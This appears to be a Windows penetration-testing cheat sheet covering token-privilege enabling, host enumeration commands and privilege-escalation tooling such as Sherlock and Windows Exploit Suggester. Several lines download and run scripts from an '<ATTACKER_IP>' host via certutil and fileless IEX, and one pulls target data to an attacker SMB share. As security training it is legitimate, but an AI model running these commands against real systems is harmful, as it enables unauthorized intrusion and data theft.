PRIMARY CATEGORY β WINDOWS PENTESTING
Components β‘
Groups β‘
Privileges β‘
Enabling disabled Privileges
Setup
- Download the PS Script
From the attacker βοΈ
curl --silent --location --request GET 'https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1' --remote-name- Transferring it to the target
From the attacker βοΈ
python3 -m http.server 80From the target π―
mkdir C:\Windows\Temp\LPE
cd C:\Windows\Temp\LPEcertutil.exe -urlcache -split -f 'http://<ATTACKER_IP>/EnableAllTokenPrivs.ps1'- Importing the PS Script/Module
From the Target π―
Import-Module .\EnableAllTokenPrivs.ps1Usage
.\EnableAllTokenPrivs.ps1Verifying the Current User Privileges
whoami /privResources
Lee Holmes: Adjusting Token Privileges in Powershell
Medium: Enable All Token Privileges
Manual Enumeration
Network
Network Interfaces, IP Addresses and DNS
ipconfig /allARP Table
arp -aRouting Table
route printTCP Ports
CMD
netstat -anoPS
Get-NetTCPConnection -State ListenProtections
Windows Defender Status
Get-MPComputerStatusAppLocker Rules
Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections- Testing AppLocker Policy against a certain principal
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -Path '<BINARY_PATH>' -User '<USER_OR_GROUP>'e.g.
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -Path 'C:\Windows\System32\cmd.exe' -User 'john.doe'
Running Processes
CMD
tasklist /svcPS
Get-Process
Get-ProcessGet-CIMInstance
Get-CIMInstance -ClassName win32_processTCP Port β PID
CMD & PS
netstat -ano- Process name β TCP Port
PS
Get-NetTCPConnection -State Listen | % { "$( (Get-Process -Id $_.OwningProcess).name ) β $( $_.LocalPort )" }- Process CMDLine β TCP Port
PS
Get-NetTCPConnection -State Listen | % { "$( $_.LocalPort ) β $( (Get-CIMInstance -ClassName win32_process -Filter "ProcessId=$( $_.OwningProcess )" -Property * ).CommandLine )" }Monitoring for new Processes
From the attacker βοΈ
Procmon.ps1
while($true) { $process = Get-WmiObject Win32_Process | Select-Object CommandLine Start-Sleep 1 $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 }
python3 -m http.server 80From the target π―
IEX (New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Procmon.ps1')Environment Variables
CMD
setPS
dir env:Detailed Information about the Host
systeminfoPatches and Updates
CMD
QFE stands for Quick Fix Engineering
wmic qfePS
Get-HotFix | ft -AutoSizeInstalled Software
CMD
wmic product get namePS
Get-WMIObject -Class Win32_Product | Select Name, VersionUsers, Groups and Computers
Logged-In Users
query userCurrent User
whoami
echo %USERNAME%Current User Information
whoami /all
net user %USERNAME%Current User Privileges
whoami /privCurrent User Groups
whoami /groupList Local System Users
net userList Local System Groups
net localgroupListing information about a certain group
net localgroup '<GROUP>'Local Password Policiy
net accountsUsersβ Description
PS
Get-LocalUserComputer Description
PS
Get-CIMInstance -ClassName win32_operatingsystem | Select -ExpandProperty DescriptionAD
Checking if the current host is a domain-joined machine
CMD
echo %logonserver%
echo %userdnsdomain%
systeminfo | findstr /I 'domain'PS
Get-CIMInstance WIN32_ComputerSystem | Select DomainListing information about the available DCs
cmd.exe /c nltest.exe /dsgetdc:%userdnsdomain%
cmd.exe /c nltest.exe /dclist:%userdnsdomain%Scheduled Tasks
CMD & PS
schtasks /query /fo LIST /vPS
Get-ScheduledTask | select TaskName,StateAutomated Enumeration
PowerUp
Seatbelt
WinPEAS
SharpUp
Sherlock
Missing Software Patches
Setup
- Downloading the Powershell Script
From the attacker βοΈ
curl --silent --location --request GET --remote-name 'https://github.com/rasta-mouse/Sherlock/raw/refs/heads/master/Sherlock.ps1'- Transferring it to the target
Fileless
From the attacker βοΈ
python3 -m http.server 80From the target π―
IEX (New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Sherlock.ps1')Usage
Find-AllVulns
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope ProcessFind-AllVulnsWindows Exploit Suggester
Setup
Python2.7 required
- Setting up Python2.7
curl https://pyenv.run | bashexport PYENV_ROOT="$HOME/.pyenv"
export PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init -)"pyenv install 2.7.18- Creating a Virtual Environment
pyenv shell 2.7.18 && pip install virtualenv
virtualenv .venv
. !$/bin/activate- Downloading the Python Script
From the attacker βοΈ
curl --silent --location --request GET --remote-name 'https://github.com/strozfriedberg/Windows-Exploit-Suggester/raw/refs/heads/master/windows-exploit-suggester.py'- Gathering System Information
From the target π―
systeminfo > systeminfo.txt- Transferring the resource above to the attacker
Setting up an SMB Server
From the attacker βοΈ
smbserver.py -smb2support -user '<USER>' -password '<PASSWD>' '<SHARE>' '<LOCAL_PATH>'Creating a Network Drive
From the target π―
net use X: '\\<ATTACKER_IP>\<SHARE>' /USER:<USER> <PASSWD>- Updating the Local Microsoft Vulnerability Database
From the attacker βοΈ
The command below generates an Excel File
python windows-exploit-suggester.py --update- Running the Tool
python windows-exploit-suggester.py --database '<XLS_FILE>' --systeminfo '<SYSTEMINFO_FILE>'e.g.
python windows-exploit-suggester.py --database 2021-05-13-mssb.xls --systeminfo win7lpe-systeminfo.txt
XLRD Library Error
pip2 install xlrd==1.2.0